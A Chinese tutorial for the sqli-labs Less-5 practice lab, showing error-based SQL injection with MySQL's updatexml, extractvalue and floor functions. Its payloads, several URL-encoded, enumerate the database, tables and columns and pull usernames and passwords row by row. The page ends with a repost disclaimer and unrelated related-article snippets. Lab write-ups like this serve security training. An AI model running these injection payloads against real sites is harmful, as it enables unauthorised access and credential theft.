sql 注入 之sqli-labs/less-5 双注入,也称:报错注入

该关卡返回正确或者错误页面,还有错误的代码,所以可以使用报错注入。报错注入的方式:

updatexml 函数注入:

mysql5.1.5 版本以上支持该函数,返回数据限制32位

模板:select * from user where id=1 and (updatexml("任意字符", concat(0x7e,(select database()),0x7e),"任意字符"))  ;  0x7e 可以换成其他符号用来充当间隔符,比如"~","*" 等

payload:

id=1 ' and (updatexml(1,concat(0x7e,(select database()),0x7e),1)) --+

extractvalue 函数注入:

mysql 5.1.5 版本以上才支持该函数,返回数据限制为32 位,可以使用substring 函数进行数据位移偏转

模板:select * from user where id =1 and (extractvalue(1,concat(0x7e,(select database()),0x7e)));

payload:

id=1' and ( extractvalue(1, concat (0x7e,(select database()),"*")))--+

floor 函数注入:

只能用concat连接,不能用group_concat,每次只能显示一条数据,

count : 查询数量 rand : 随机产生0-1 之间的数,floor :向下取整,group_by:按照指定字段分类

模板:

select * from user where id =1 and ( select 1 from ( select count(), concat(user(),floor(rand(0)2)) x from information_schema.table group_by x  )a )

payload:

正确页面:

错误页面:

输入单引号试探,发现页面会把sql报错语句显示在页面:

报错注入

查找数据库payload:

?id=1%27%20and%20(updatexml%20(1,%20concat(%200x7e,(select%20database()),%27~%27),1))%20--+

查找表:

id=1%27%20and%20(%20extractvalue(1,%20concat%20(0x7e,(select%20%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()),"*")))--+

查找列名:返回结果超过1 行

?id=1%27%20and%20(%20extractvalue(1,%20concat%20(0x7e,(select%20%20column_name%20from%20information_schema.columns%20where%20table_name=%27users%27)%20,"*")))%20--+

payload 改为:每次只显示一行

1' and ( extractvalue(1, concat (0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1),"*")))--+

limit 0,1 limit 1,1 limit 5,1 分别查出字段名

查找字段内容:

payload :

1%27%20and%20(%20extractvalue(1,%20concat%20(0x7e,(select%20username%20from%20users%20),"*")))--+

0x3c,0x68,0x72,0x2f,0x3e : 换行符

不能一次显示所有内容,所以分次查询:

id=1%27%20and%20(%20extractvalue(1,%20concat%20(0x7e,(select%20concat(username,":",password)%20from%20users%20limit%203,1),"*")))--+

用limit 0,1  limit n,1 来查看具体内容

1' and ( extractvalue(1, concat (0x7e,(select username from users),"*")))--+

1' and ( extractvalue(1, concat (0x7e,(select  username from users limit 0,1),"*")))--+

1' and ( extractvalue(1, concat (0x7e,(select  username from users where database='security'),"*")))--+

1' and ( extractvalue(1, concat (0x7e,(select username from users limit 0,1),"*")))--+

1' and ( extractvalue(1, concat (0x7e,(select  group_concat(username) from users  ),"*")))--+

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/518175.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【YOLO v5 v7 v8 v9小目标改进】辅助超推理SAHI:分而治之,解决高分辨率图像中小物体检测的问题

辅助超推理SAHI:分而治之,解决高分辨率图像中小物体检测的问题 设计思路结构小目标涨点YOLO v5 魔改YOLO v7 魔改YOLO v8 魔改YOLO v9 魔改 论文:https://arxiv.org/pdf/2202.06934.pdf 代码:https://github.com/obss/sahi 设计思…

RabbitMQ 交换器

RabbitMQ 交换器 官方例子 http://www.rabbitmq.com/getstarted.html direct 如上图所示,两个队列绑定到了direct交换器上,第一个队列绑定的 binding key 为 orange ,第二个队列有两个绑定,分别是 black 和 green 。 如上图所示…

为什么那么多程序员推荐 Linux,是不是在 Linux 下开发效率高?

为什么那么多程序员推荐 Linux,是不是在 Linux 下开发效率高? 在开始前我有一些资料,是我根据网友给的问题精心整理了一份「Linux 的资料从专业入门到高级教程」, 点个关注在评论区回复“888”之后私信回复“888”,全…

java SSM厂房管理系统myeclipse开发mysql数据库springMVC模式java编程计算机网页设计

一、源码特点 java SSM厂房管理系统是一套完善的web设计系统(系统采用SSM框架进行设计开发,springspringMVCmybatis),对理解JSP java编程开发语言有帮助,系统具有完整的源代码和数据库,系统主要采用B/S…

基于el-tree实现懒加载穿梭条

一、关键代码 <template><div><!-- 左侧待选列表 --><div class"left-box"><p>待选列表</p><el-input placeholder"输入关键词过滤" v-model"leftFilterText" clearable/><el-treeref"tree…

电商自动集成端口(API商品接口)上线!轻松用API对接各大电商接口

对卖家阿沸而言&#xff0c;处理订单配送是一项比较复杂的任务&#xff0c;他必须要同时处理大量的来自全球多个渠道和地点的各种SKU订单&#xff0c;还要将库存分开管理&#xff0c;发货时总是搞得手忙脚乱...... 我们知道&#xff0c;正确配送订单对于保持客户满意度和忠诚度…

Java多线程——如何保证原子性

目录 引出原子性保障原子性CAS 创建线程有几种方式&#xff1f;方式1&#xff1a;继承Thread创建线程方式2&#xff1a;通过Runnable方式3&#xff1a;通过Callable创建线程方式4&#xff1a;通过线程池概述ThreadPoolExecutor API代码实现源码分析工作原理&#xff1a;线程池的…

Atomikos详解:数据库XA规范与Atomikos使用与源码分析

文章目录 一、认识2PC - 两阶段提交1、理论2、手撸XA-两阶段提交&#xff08;1&#xff09;时序图&#xff08;2&#xff09;代码实例 3、认识JTA4、今天的主角&#xff1a;Atomikos5、2PC存在的问题 二、Atomikos使用1、依赖配置2、定义AtomikosDataSourceBean数据源3、定义事…

设计模式之模版方法实践

模版方法实践案例 实践之前还是先了解一下模版方法的定义 定义 模板方法模式是一种行为设计模式&#xff0c;它定义了一个骨架&#xff0c;并允许子类在不改变结构的情况下重写的特定步骤。模板方法模式通过在父类中定义一个模板方法&#xff0c;其中包含了主要步骤&#xf…

Batch Nomalization 迁移学习

Batch Nomalization 1.Batch Nomalization原理 图像预处理过程中通常会对图像进行标准化处理&#xff0c;这样能够加速网络的收敛。就是按照channel去求均值和方差&#xff0c;然后原数据减均值除标准差&#xff0c;使我们的feature map满足均值为0&#xff0c;方差为1的分布…

【教程】HBuilderX开发实践:隐私合规检测问题解决方案

文章目录 摘要引言正文1、违规收集个人信息2、APP强制、频繁、过度索取权限 知识点补充总结 摘要 本篇博客介绍了在使用HBuilderX进行开发过程中&#xff0c;常遇到的隐私合规问题&#xff0c;并提供了相应的解决方案。主要包括违规收集个人信息和APP强制、频繁、过度索取权限…